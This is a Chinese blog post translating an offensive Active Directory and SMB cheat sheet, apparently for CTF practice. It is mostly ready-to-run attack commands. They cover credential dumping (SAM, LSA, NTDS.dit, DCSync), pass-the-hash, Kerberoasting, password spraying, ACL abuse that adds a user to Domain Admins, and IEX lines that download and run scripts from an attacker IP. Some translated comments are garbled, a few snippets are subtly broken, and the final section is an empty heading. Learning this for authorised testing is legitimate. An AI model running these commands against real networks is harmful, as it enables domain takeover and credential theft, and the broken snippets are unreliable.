活动目录-技术实现-h4rithd-2024.04.03版本

笔记说明:

该笔记是国外进攻性爱好者 h4rithd 在 gitbook 上记录的备忘笔记,我整体翻译了注释的内容,并根据个人打靶学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。

活动目录/中小企业

Windows 的 SMB 枚举

00. 基本注意事项

  • 思维导图

  • 无论帐户以$符号结尾,都表示它是 amachine account或 a manage service account

  • SID结构。

http://www.c-jump.com/CIS24/Slides/Registry/R01_0220_sid_format.htm

1
2
## ------------------| 使用密码生成NTLM哈希
iconv -f ASCII -t UTF-16LE <(printf "<Password>") | openssl dgst -md4
  • objectSid代表SID
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import base64
import struct

def convert(binary):
version = struct.unpack('B', binary[0:1])[0]
# 我不知道如何对待版本 != 1 (it does not exist yet)
assert version == 1, version
length = struct.unpack('B', binary[1:2])[0]
authority = struct.unpack(b'>Q', b'\x00\x00' + binary[2:8])[0]
string = 'S-%d-%d' % (version, authority)
binary = binary[8:]
assert len(binary) == 4 * length
for i in range(length):
value = struct.unpack('<L', binary[4*i:4*(i+1)])[0]
string += '-%d' % value
return string

print(base64.b64decode(sys.argv[1]))

##python3 binary2SID.py <base64==>
  • 基本命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
## ------------------| 是否已加入/连接到域?
##[Windows]
systeminfo | findstr /B "Domain"
### 如果您看到域以外的内容:WORKGROUP,那么您很可能已加入域
##[Linux]
ls -al /etc/krb5.conf
kinit -k host/$(hostname -f)

## ------------------| Enumerating Domain Admins
net group "Domain Admins" /domain

## ------------------| Enumerating server admins
net group "Server_Admin" /domain

## ------------------| 列出整个域中的所有用户
net user /domain

## ------------------| List all groups
net group /domain

## ------------------| 列出h4rith用户的组
net user h4rith /domain

## ------------------| 当前域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

## ------------------| 域信任
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

## ------------------| 当前林信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

## ------------------| 获取林信任关系
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

## ------------------| 获取域的DC
nltest /dclist:offense.local
net group "domain controllers" /domain

## ------------------| 获取当前已验证会话的DC
nltest /dsgetdc:offense.local

## ------------------| 从cmd shell获取域信任
nltest /domain_trusts

## ------------------| Get user info
nltest /user:"spotless"

## ------------------| List smb shares
Get-SmbShare
Get-SmbShare -Name C$ | select *

## ------------------| Creating a new file share
New-SmbShare -Name <ShareName> -Description "This is description" -Path C:\Shares\<ShareName>

## ------------------| 修改共享属性
Set-SmbShare -Name <ShareName> -Description "This is description" -Force

## ------------------| 正在授予文件共享权限。
Grant-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -AccessRight Full -Force
## 您可以使用Everyone代替<DOMAIN>\<USER>
## 您可以使用“读取”、“更改”、“自定义”代替“完全”。

## ------------------| 正在删除文件共享权限
Revoke-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force
## 您可以使用Everyone代替<DOMAIN>\<USER>

## ------------------| 拒绝对文件共享的权限
Block-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force
UnBlock-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force
## 您可以使用Everyone代替<DOMAIN>\<USER>

## ------------------| 删除文件共享
Remove-SmbShare -Name <ShareName> -Force

## ------------------| 获取当前已验证会话的DC
set l

## ------------------| 获取通过身份验证的用户的域名和DC
klist

## ------------------| 获取所有登录会话。包括NTLM身份验证会话
klist sessions

## ------------------| 会话的Kerberos票证
klist

## ------------------| Kached krbtgt
klist tgt

## ------------------| 旧Windows系统上的Whoami
set u

## ------------------| 使用ADModule查找DFS共享
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name

## ------------------| 使用ADSI查找DFS共享
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}

## ------------------| 检查后台处理程序服务是否正在主机上运行
powershell ls "\\dc01\pipe\spoolss"
  • 在以下位置查找 GPP 密码SYSVOL
1
2
3
4
5
6
7
8
9
## ------------------| Manual
findstr /S cpassword $env:logonserver\sysvol\*.xml
findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)
findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml

## ------------------| PowerSploit
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/Get-GPPPassword.ps1')
Get-GPPPassword
  • 组列表。
1
2
3
4
5
6
7
8
## ------------------| 添加到远程桌面用户
net localgroup "Remote Desktop Users" harith /add

## ------------------| 添加到WinRM用户
net localgroup "Remote Management Users" harith /add

## ------------------| 添加到管理员组
net localgroup "Administrators" harith /add

01.SMB枚举

00.基本

  • 查找smb版本
1
2
3
sudo tcpdump -s0 -n -i tun0 src $IP and port 139 -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.'        
sudo ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]' port 139
smbclient -L //$IP

01.SMB客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
## ------------------| List all 
smbclient -N -L //<IP>

## ------------------| 对于旧的smba版本
smbclient -N //<IP>/ --option='client min protocol=NT1'

## ------------------| 下载所有文件
smbclient -N //<IP>/<SHARENAME> -U <USERNAME> -c "prompt OFF;recurse ON;mget *"

## ------------------| 登录到用户
smbclient -U <UserName>%<Password> \\\\10.10.10.178\\c$

## ------------------| 列出有关的信息
## 如果它有ACL:Everyone:ALLOWED/OI|CI/FULL,我们可以写/读
smbcacls -N //10.10.10.103/Department /Users

02.CRACKMAPEXEC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
## ------------------| Enumarate hosts
crackmapexec smb 192.168.3.201-203

## ------------------| Tricks
## 默认情况下,Crackmapexec尝试使用域帐户而不是本地用户帐户进行身份验证
## 所以使用-d WORKGROUP尝试使用本地用户帐户

## ------------------| Enumarate shares / Basic info
crackmapexec smb 10.10.10.178
crackmapexec smb 10.10.10.161 --shares
crackmapexec smb 10.10.10.161 -u '' -p '' --shares
crackmapexec smb 10.10.10.161 -u 'DoseNotExist' -p '' --shares
crackmapexec smb 10.10.10.161 -u 'DoseNotExist' -H <NThash>
crackmapexec smb 10.10.10.161 -d WORKGROUP -u 'DoseNotExist' -H <NThash>

## ------------------| 枚举活动会话
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --sessions

## ------------------| 枚举磁盘
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --disks

## ------------------| 枚举登录的用户
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --loggedon-users

## ------------------| Enumerate domain users
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --users

## ------------------| 通过破坏RID来枚举用户
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --rid-brute

## ------------------| Enumerate domain groups
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --groups

## ------------------| Enumerate local groups
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --local-groups

## ------------------| 标识SMB签名已禁用
crackmapexec smb --gen-relay-list output.txt 10.10.10.0/24

## ------------------| 枚举密码策略
## 如果帐户锁定阈值:无;我们可以粗暴对待
crackmapexec smb 10.10.10.161 --pass-pol
crackmapexec smb 10.10.10.161 -u '' -p '' --pass-pol

## ------------------| Dump SAM/LSA/NTDS.dit
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --sam
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --lsa
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --ntds
crackmapexec smb 10.10.10.161 -u UserName -p 'Password' --ntds vss

## ------------------| Execute Commands
## PowerShell 5985端口
crackmapexec winrm 10.10.10.169 -u melanie -p 'Welcome123!' -X "whoami /all"
## CMD
crackmapexec winrm 10.10.10.169 -u melanie -p 'Welcome123!' -x "whoami /all"

## ------------------| 爬网共享
crackmapexec smb 10.10.10.149 -u 'username' -p 'PassW0rd' -M spider_plus

03.SMBMAP

1
2
3
4
5
6
7
8
9
10
## ------------------| List shares
smbmap -H 10.10.10.178
smbmap -u 'anonymous' -H 10.10.10.134
smbmap -u 'anonymous' -p 'anonymous' -H 10.10.10.134

## ------------------| 递归列表
smbmap -R directory -H 10.10.10.100

## ------------------| Download file
smbmap -R directory -H 10.10.10.100 -A filename.txt -q
  • smbmap -h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-H HOST               IP of host
--host-file FILE 包含主机列表的文件
-u USERNAME 用户名,如果省略,则假定为空会话
-p PASSWORD 密码或NTLM哈希
--prompt 提示输入密码
-s SHARE 指定一个共享(默认C$),例如“C$
-d DOMAIN 域名(默认WORKGROUP)
-P PORT SMB port (default 445)
-v 返回远程主机的操作系统版本
-x COMMAND 执行命令,例如“ipconfig/all”
-L 列出指定主机上的所有驱动器(需要ADMIN)
-R [PATH] 递归列出目录。
-r [PATH] 列出目录的内容。
-g FILE 以grep友好格式输出到文件,
--dir-only 仅列出目录,提交文件。
--depth DEPTH 遍历目录树到特定深度。
--download PATH 从远程系统下载文件,
--upload 将文件上载到远程系统ex。
--delete PATH 删除远程文件,例如“C$\temp\msf.exe”
--skip 跳过删除文件确认提示

04.RPCCLIENT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
## ------------------| Login as user
rpcclient -U 'support' <IP>
rpcclient -U 'Administrator:Password' <IP>

## ------------------| Null auth
rpcclient -U '' <IP>

## ------------------| Enumarations
lookupnames Guest
enumdomusers
queryuser 0x450
enumprinters
dsr_getdcname
dsr_getdcnameex
dsr_getdcnameex2
dsr_getsitename
enumdata
enumdomgroups
enumjobs
enumports
enumprivs
getanydcname
getdcname
lookupsids
lsaenumsid <SID>
lsaquery
netconnenum
netdiskenum
netfileenum
netsessenum
netshareenum
netshareenumall
netsharegetinfo
queryuser <USERNAME>
srvinfo

## ------------------| 更改用户密码
setuserinfo2 <UserAccount> 23 '<Password>'

## ------------------| 粗暴强迫用户RID
for i in $(seq 500 1100);do rpcclient -N -U "" <IP> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

05.Samrdump.py

1
2
# 此脚本下载目标系统的用户列表。
impacket-samrdump <IP>

06.Evil-WinRm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
## ------------------| 正常使用 (port 5985)
evil-winrm -u UserName -p Password -i 10.10.10.149
evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192

## ------------------| With SSL (port 5986)
evil-winrm -S -i 10.10.10.103 -c amanda.cer -k amanda.key -P 5986
evil-winrm -S -i 10.10.10.103 -c amanda.cer -k amanda.key -u amanda -P 5986

## 如果获取类似“术语'Invoke-Expression'未被识别为cmdlet的名称”的消息
## 该语言在远程计算机中受到限制。试试这个!!!
sudo apt-get install gss-ntlmssp
pwsh
$pass = ConvertTo-SecureString '<PassWord>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<ACCOUNT_NAME>', $pass)
Enter-PSSession --ComputerName <IP> -credential $cred -Authentication Negotiate

07.Psexec

1
2
3
4
5
6
7
8
## ------------------| 允许访问$ADMIN C$,IP$(Windows管理共享)
REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

## ------------------| 如果我们对SMB共享进行R&W
impacket-psexec HTB/James:'J@m3s_P@ssW0rd!'@10.10.10.52

## ------------------| 如果您有NTML哈希[PassTheHash]
impacket-psexec Administrator@10.10.10.161 -hashes <HASH>:<HASH>

02.活动目录枚举

00.基本

  • 如果您处于AD环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## ------------------| 导入AD模块
Get-Module -Name ActiveDirectory -ListAvailable
Import-Module -Name ActiveDirectory

## ------------------| 列出所有用户+计算机
Get-ADObject -LDAPFilter "(objectClass=user)"
Get-ADObject -LDAPFilter "(objectCategory=user)"
Get-ADObject -LDAPFilter "(&(!(objectClass=computer)(objectCategory=user)))"

## ------------------| 列出帐户名称以h开头的所有用户
Get-ADObject -LDAPFilter "(sAMAccountName=j*)"
Get-ADObject -LDAPFilter "(sAMAccountName=j*)" -Properties cn,objectSid,description,givenname,sn

## ------------------| 列出已设置SPN(服务原则名称)的所有用户;获取用户SPns
Get-ADObject -LDAPFilter "(servicePrincipalName=*)"
Get-ADObject -LDAPFilter "(servicePrincipalName=*)" -Properties servicePrincipalName
  • Microsoft ActiveDirectory PowerShell AD 模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
## ------------------| Setup
wget https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1
wget https://github.com/samratashok/ADModule/raw/master/Microsoft.ActiveDirectory.Management.dll
## 首先,您需要导入dll文件[使用绝对路径或.\Microsoft.ActiveDirectory.Management.dll]
Import-Module C:\Full\Path\Microsoft.ActiveDirectory.Management.dll -Verbose
# or : Import-ActiveDirectory -ActiveDirectoryModule C:\Full\Path\Microsoft.ActiveDirectory.Management.dll
. .\Import-ActiveDirectory.ps1
Get-Command -Module ActiveDirectory

## ------------------| Basic Doamin Enum
Get-ADDomain # List current domain
Get-ADDomain -Identity <DomainName> # List other domain info
(Get-ADDomain).DomainSID # List domain SID value
Get-ADDomainController # 列出域控制器
Get-ADDomainController -DomainName <Domain> -Discover

## ------------------| User Enumaration
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity <UserName> -Properties *
Get-ADUser -Filter * -Properties * | select Name
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Properties | select Name
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description

## ------------------| Computer Enumaration
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Windows*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer "<ComputerName>" –Properties * | Format-Table OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack

## ------------------| Domain Group Enumaration
Get-ADGroup -Filter * | select name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select name
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity <UserName>

## ------------------| 枚举组织单位[OU]
Get-ADOrganizationalUnit -Filter * -Properties * | select name

## ------------------| Enumerate ACL
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<Domain>').Access
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<Domain>').Access | select IdentityReference,ActiveDirectoryRights | fl

## ------------------| 枚举域信任
Get-ADTrust -Filter *
Get-ADTrust -Identity <FQDN>

## ------------------| 枚举域林
Get-ADForest
(Get-ADForest).Domains
Get-ADForest -Identity <FQDN>
Get-ADForest | select -ExpandProperty GlobalCatalogs
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

01.PowerView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
## ------------------| 远程和本地加载脚本
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/PowerView.ps1')
Import-Module .\PowerView.ps1
. .\PowerView.ps1

## ------------------| 枚举当前域
Get-Domain
Get-Domain -Domain <DomainName>
Get-DomainSID

## ------------------| 枚举域控制器
Get-DomainController
Get-DomainController -Domain <DomainName>

## ------------------| 枚举域计算机
Get-NetComputer
Get-NetComputer | select name
Get-NetComputer | select Name,operatingsystem
Get-NetComputer -OperatingSystem "*Server 2016*" | select name,operatingsystem

## ------------------| Enumerate Domain Users
Get-DomainUser
Get-DomainUser -Identity <username>
Get-DomainUser | select cn
Get-DomainUser | select samaccountname,logoncount,lastlogon
Get-DomainUser -Identity <username> -Properties DisplayName, MemberOf,objectsid,useraccountcontrol | Format-List

## ------------------| Enumerate All Groups
Get-NetGroup
Get-NetGroup | select name
Get-NetGroup 'Domain Admins'
Get-NetGroup "*admin*"| select name
Get-NetGroup -Domain <targetdomain> | select name
Get-NetGroupMember "Domain Admins" -Recurse | select MemberName

## ------------------| Enumerate Local Groups
Get-NetLocalGroup
Get-NetLocalGroup | Select-Object GroupName
Get-NetLocalGroup -ComputerName <computername>
Get-NetGroup -UserName <"username">| select name
Get-NetGroupMember -MemberName "domain admins" -Recurse | select MemberName
Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain

## ------------------| 枚举域策略
Get-DomainPolicy
(Get-DomainPolicy)."SystemAccess"
(Get-DomainPolicy)."kerberospolicy"
(Get-DomainPolicy -domain <DomainName>)."SystemAccess"

## ------------------| 枚举组策略[GPO]
Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName <ComputeName>
Find-GPOComputerAdmin -ComputerName <ComputeName>
Find-GPOLocation -UserName <UserName> -Verbose

## ------------------| 枚举组织单位[OU]
Get-NetOU
Get-NetOU | select distinguishedname

## ------------------| Enumerate ACL
Invoke-ACLScanner -ResolveGUIDs # Time-consuming
Get-ObjectAcl -Identity <UserName> -ResolveGUIDs
Get-ObjectAcl -SamAccountName <UserName> -ResolveGUIDs
Get-ObjectAcl -SamAccountName <UserName> -ResolveGUIDs | select ObjectDN,ActiveDirectoryRights | fl

## ------------------| 枚举域信任
Get-DomainTrust
Get-DomainTrust -Domain <FQDN>

## ------------------| 枚举域林
Get-Forest
Get-ForestTrust
Get-ForestDomain
Get-ForestGlobalCatalog
Get-Forest -Forest <Domain>
Get-ForestTrust -Forest <Domain>
Get-ForestDomain -Forest <Domain>
Get-ForestGlobalCatalog -Forest <Domain>

## ------------------| List Domain or File Shares.
Find-DomainShare
Get-NetFileServer -Verbose
Invoke-ShareFinder -Verbose
Find-DomainShare -CheckShareAccess

## ------------------| 在域中的计算机上查找敏感文件
Invoke-FileFinder -Verbose

## ------------------| Request TGS
Request-SPNTicket

## ------------------| 将SID值转换为名称
"SID>" | Convert-SidToName

## ------------------| Kerberoast
Invoke-Kerberoast
Invoke-Kerberoast -Identity <UserName>

## ------------------| 模拟用户
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<Domain>\<User>', $pass)
Invoke-UserImpersonation -Credential $cred
Invoke-RevertToSelf

## ------------------| 特殊枚举
## 查找当前帐户具有本地管理员访问权限的域上的所有计算机
Find-LocalAdminAccess -Verbose ## 噪音很大
Invoke-EnumerateLocalAdmin -Verbose ## 需要管理员权限

## 列出所有已登录/处于活动状态的用户
Get-NetLoggedon
Get-NetLoggedon -ComputerName <TargetMachineName> | Format-Table -AutoSize
Get-NetSessiom -ComputerName <DCName> | Format-Table -AutoSize

## 列出所有服务帐户[SPN]
Get-NetUser –SPN
Get-NetUser | Where-Object {$_.servicePrincipalName} | select samaccountname,serviceprincipalname | fl

## 列出禁用Kerberos预身份验证的所有帐户[AS-REP Roasting]
Get-DomainUser -PreauthNotRequired -Verbose

## 查找所有具有会话的计算机
Invoke-UserHunter
Invoke-UserHunter -Stealth ## 仅针对高价值机器
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -GroupName "Domain Admins"
  • 滥用WriteOwner / 写入所有者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
## ------------------| 更改所有者
Set-DomainObjectOwner -Identity <User1> -OwnerIdentity <User2>

## ------------------| 更改权限以重置密码
Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose
# PoweShell命令中列出了密码更改 👆👆

# ------------------| 更改组的所有权
## 信誉不是必须的,但是。。。
$pass = ConvertTo-SecureString 'W3llcr4ft3d_4cls' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('object.local\maria', $SecPassword)
## 更改“Domain Admins”组的所有权
Set-DomainObjectOwner -Credential $cred -Identity "Domain Admins" -OwnerIdentity maria
## 把所有权利都交给玛丽亚
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
## Maria可以将自己添加到组中
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
## 或网络组“Domain Admins”maria/add/Domain
net user maria
  • 滥用强制更改密码
1
2
3
4
5
6
## ------------------| Reset password
$pass = ConvertTo-SecureString 'Password123!' -asPlainText -Force
Set-DomainUserPassword <UserName> -AccountPassword $pass -Verbose

## ------------------| 如果你在AD上,简单的Powershell
Set-ADAccountPassword -Identity <UserName> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password123!" -Force)
  • 滥用GenericAll
1
2
3
4
5
## ------------------| 将成员添加到另一个组
$pass = ConvertTo-SecureString 'Password123!' -asPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('HTB\Herman',$pass)
Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $cred
Get-DomainGroup -MemberIdentity Herman | select samaccountname
  • 滥用GenericWrite / 通用写入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
## ------------------| Setup
## The cred isn’t necessary but...
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<Domain>\<UserName>', $pass)

## ------------------| Method I
## 设置一个服务主体名称并对该帐户进行kerberast。
## 要真正Kerberoast,我们需要使用具有有效格式的SPN,如MSSQLSvc/<Domain>:1433
Set-DomainObject -Identity <UserNameToSetSPN> -SET @{serviceprincipalname='MSSQLSvc/<Domain>:1433'}
## 我们可以使用内置二进制 : setspn -a MSSQLSvc/<Domain>:1433 <Domain>\<UserName>
## With creds : Set-DomainObject -Credential $cred -Identity <UserNameToSetSPN> -SET @{serviceprincipalname='MSSQLSvc/<Domain>:1433'}
Get-DomainUser <UserNameToSetSPN> | Select serviceprincipalname
Get-DomainSPNTicket -SPN "MSSQLSvc/<Domain>:1433" -Credential $cred | fl
.\Rubeus.exe kerberoast /creduser:<Domain>\<UserName> /credpassword:Password123!

## ------------------| Method II
## 设置登录脚本
cd C:\Windows\temp\
echo 'whoami > C:\\Windows\\temp\\poc.txt' > foo.ps1
Set-DomainObject -Credential $cred -Identity <UserName> -SET @{scriptpath='C:\\Windows\\temp\\\\foo.ps1'}
  • 滥用AddKeyCredentialLink
1
2
3
4
5
## ------------------| Setup
wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/Whisker.exe
.\Whisker.exe add /target:<UserName>
## 然后运行Rubeus命令并获取NTLM哈希
evil-winrm -i <IP> -u <UserName> -H <Hash>

02.获取ADUsers

1
2
impacket-GetADUsers -all -dc-ip <IP> <domain>/<user>
impacket-GetADUsers -all -dc-ip <IP> <domain>/<user> -hashes <LM:NT>

03.获取用户SPN / KerBeros Roasting

1
2
3
4
5
6
7
8
9
## ------------------| 没有密码
impacket-GetUserSPNs -request -dc-ip <IP> <domain>/<user> -no-pass

## ------------------| 带密码
impacket-GetUserSPNs -request -dc-ip <IP> <domain>/<user>:<password>
impacket-GetUserSPNs -request -dc-ip <IP> <domain>/<user> -hashes <LM:NT>

## ------------------| 使用Kerberos身份验证。从ccache文件中抓取凭据
impacket-GetUserSPNs -request -k -no-pass -dc-host dc1.scrm.local scrm.local/ksimpson

04.获取NPUsers / AS-Rep Roasting

1
2
3
4
5
6
7
8
9
10
11
## ------------------| 检查是否禁用Kerberos预身份验证?
impacket-GetNPUsers -dc-ip <IP> <domain>/<user> -no-pass
impacket-GetNPUsers -dc-ip <IP> -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt <domain>/

## ------------------| 常用方法
impacket-GetNPUsers -dc-ip <IP> -request '<domain>/'
impacket-GetNPUsers -dc-ip <IP> -request <domain>/<username>:<password>
impacket-GetNPUsers -dc-ip <IP> -request <domain>/<username> -hashes <LM:NT>

## ------------------| 获取hashcat格式
impacket-GetNPUsers -format hashcat -dc-ip <IP> -request '<domain>/'

05.**BloodHound / SharpHound

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
## ------------------| Load ShapHound.ps1
## 如果您使用的是Powershell脚本,则需要下载BloodHound 4.0.3版本
## https://github.com/BloodHoundAD/BloodHound/releases/tag/4.0.3
wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/d8163c0650ada9ef4a6ebc5e2dc8f5fde566e73f/Collectors/SharpHound.ps1
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All

## ------------------| 收集信息
.\SharpHound.exe -c all,GPOLocalGroup,LoggedOn
.\SharpHound.exe -c all -d <DomainName>
.\SharpHound.exe --CollectionMethods all,GPOLocalGroup,LoggedOn

## ------------------| Usage
-s, --searchforest 搜索林中所有可用的域
--stealth 隐形系列(只要可能,就首选DCO!)
--outputprefix 用于前置输出文件名的字符串
--memcache 将缓存保留在内存中,不写入磁盘
--zipfilename zip的文件名
--zippassword 密码使用指定的密码保护zip
-c, --collectionmethods (默认:默认)采集方法: Container, Group, LocalGroup, GPOLocalGroup,Session, LoggedOn, ObjectProps, ACL, ComputerOnly, Trusts, Default, RDP, DCOM, DCOnly
  • 寻血猎犬-Python
1
2
3
## ------------------| Dump domain info
pip3 install bloodhound
bloodhound-python -u <username> -p '<password>' -d <domain> -ns <IP> --dns-tcp -c All
  • LDAPDomainDump
1
2
3
4
5
## ------------------| Only Json output
ldapdomaindump --no-grep --no-html -o ldapinfo <IP> -u <domain>\\<username> -p <password>

## ------------------| Only HTML output
ldapdomaindump --no-json --no-grep -o ldapinfo <IP> -u <domain>\\<username> -p <password>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## ------------------| Run
python3 bloodhound.py -d <domain> -u <username> -p '<password>' -gc <domain> -c all -ns <IP>

## ------------------| Usage
-u 用户名。格式:用户名[@domain];如果未指定域,则使用当前域。
-p Password
-k Use kerberos
--hashes LM:NLTM hashes
-ns 用于查询的备用名称服务器
--dns-tcp 使用TCP而不是UDP进行DNS查询
--dns-timeout DNS查询超时(秒)(默认值:3
-d Domain to query.
-dc 覆盖要查询的DC(主机名)
-gc 覆盖要查询的GC(主机名)
-w 计算机枚举的工作者数量(默认值:10
-v 启用详细输出
  • BloodHound 和 neo4j 原始查询。 [来源]
1
2
3
4
5
6
7
8
9
## ------------------| List all users
MATCH (u:User) return u
MATCH (u:User) return u LIMIT 10

## ------------------| 列出具有属性的用户
MATCH (u:User) WHERE u.name CONTAINS "ADMIN" return u.name, u.displayname, u.description

## ------------------| 列出启用LAPS的计算机
MATCH (c:Computer) RETURN c.haslaps, COUNT(*)

06.Windapsearch

1
2
## 此工具用于通过LDAP匿名绑定枚举域
/opt/windapsearch/windapsearch-linux-amd64 -d <IP> -m users --proxy 127.0.0.1:1080

07.Kerbrute

1
2
3
4
5
6
7
## ------------------| User Enumarations
kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d <domain> --dc <IP>
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d <domain> --dc <IP>


## ------------------| Password Spray
kerbrute passwordspray <usernames.txt> -d <domain> --dc <IP> '<password>'

08.RPCDump.py

1
2
3
4
5
6
7
8
impacket-rpcdump <IP>

## 检查后台处理程序服务是否正在运行
impacket-rpcdump <IP> | grep -A2 -B2 MS-RPRN

# 一个潜在的服务,可以用来提升中的权限
# 域是后台处理程序服务。此服务允许触发身份验证,因为
# 它运行的主机的计算机帐户。然后可以中继或破解

09.契约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
## SharpUp命令可用于运行权限提升检查
sharpup audit

## shellcmd grunt命令用于发出shell命令
shellcmd whoami

## Import PowerShell script
PowerShellImport // PowerView.ps1


## 执行powershell脚本
PowerShell Get-DomainComputer | Select name

## kerberast用户,MakeToken,然后再运行此命令
Rubeus kerberoast
Kerberoast <UserName> hashcat

## 使用MakeToken命令模拟(登录到用户)用户
MakeToken username domainname password LOGON32_LOGON_INTERACTIVE

## DCSync
DCSync Administrator

10.Dnstool(krbrelayx)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
## ------------------| Add DNS Record
